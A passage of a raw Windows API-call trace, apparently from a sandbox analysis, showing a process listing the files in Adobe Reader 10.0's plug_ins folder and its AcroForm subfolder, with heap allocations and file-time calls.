ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd063, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.api", cAlternateFileName="")) returned 1 [0082.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214d00 [0082.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a19f8 [0082.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.899] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e2b880, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1ab863, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.api", cAlternateFileName="")) returned 1 [0082.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.900] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214d20 [0082.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a1b00 [0082.901] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.901] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18463, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.api", cAlternateFileName="")) returned 1 [0082.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.901] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.901] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214d40 [0082.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a1c08 [0082.902] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.902] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9f6e40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x234a63, dwReserved0=0x0, dwReserved1=0x0, cFileName="MakeAccessible.api", cAlternateFileName="")) returned 1 [0082.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.903] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.903] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214d60 [0082.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a1d10 [0082.904] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.904] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia", cAlternateFileName="")) returned 1 [0082.904] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x174c63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.api", cAlternateFileName="")) returned 1 [0082.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.904] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.905] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214d80 [0082.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a1e18 [0082.905] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.905] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x69263, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDDom.api", cAlternateFileName="")) returned 1 [0082.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.906] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.906] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214da0 [0082.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a1f20 [0082.907] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.907] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x73f263, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLite.api", cAlternateFileName="")) returned 1 [0082.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.907] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.908] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214dc0 [0082.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2028 [0082.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x7340) returned 0x12bb0b0 [0082.909] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12c9600) returned 1 [0082.909] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.909] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b663, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.api", cAlternateFileName="")) returned 1 [0082.909] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.909] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.909] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.910] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.910] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.910] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214de0 [0082.910] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2130 [0082.911] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.911] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dab5520, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x54e63, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.api", cAlternateFileName="")) returned 1 [0082.911] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.911] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.911] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.911] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.911] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.912] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214e00 [0082.912] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2238 [0082.912] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.912] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da43100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x63263, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.api", cAlternateFileName="")) returned 1 [0082.912] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.913] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.913] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.913] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.913] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d618a80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x69063, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.api", cAlternateFileName="")) returned 1 [0082.913] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e05720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x25c63, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.api", cAlternateFileName="")) returned 1 [0082.913] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x43a63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.api", cAlternateFileName="")) returned 1 [0082.913] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f498460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x29463, dwReserved0=0x0, dwReserved1=0x0, cFileName="Updater.api", cAlternateFileName="")) returned 1 [0082.913] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4ac63, dwReserved0=0x0, dwReserved1=0x0, cFileName="weblink.api", cAlternateFileName="")) returned 1 [0082.913] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4ac63, dwReserved0=0x0, dwReserved1=0x0, cFileName="weblink.api", cAlternateFileName="")) returned 0 [0082.914] GetLastError () returned 0x12 [0082.914] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0082.914] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0082.914] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.914] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dab5520, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ec63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.api", cAlternateFileName="")) returned 1 [0082.914] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e05720, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82e519e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroForm", cAlternateFileName="")) returned 1 [0082.914] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e05720, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82e519e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.914] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0082.915] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0082.915] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0082.915] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0082.915] NtClose (Handle=0x178) returned 0x0 [0082.915] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2970) returned 1 [0082.915] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.915] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0082.915] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2970 [0082.916] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2a78 [0082.916] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0082.916] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e05720, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82e519e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.916] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e05720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb36f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adobepdf.xdc", cAlternateFileName="")) returned 1 [0082.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.917] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.917] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.917] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.917] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.917] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2b80 [0082.918] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0082.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214ee0 [0082.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2c88 [0082.918] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.918] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e519e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMP", cAlternateFileName="")) returned 1 [0082.918] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e519e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMP", cAlternateFileName="")) returned 0 [0082.918] GetLastError () returned 0x12 [0082.918] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0082.925] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0082.926] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e05720, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82e519e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.926] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e05720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb36f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adobepdf.xdc", cAlternateFileName="")) returned 1 [0082.926] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e519e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMP", cAlternateFileName="")) returned 1 [0082.926] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) 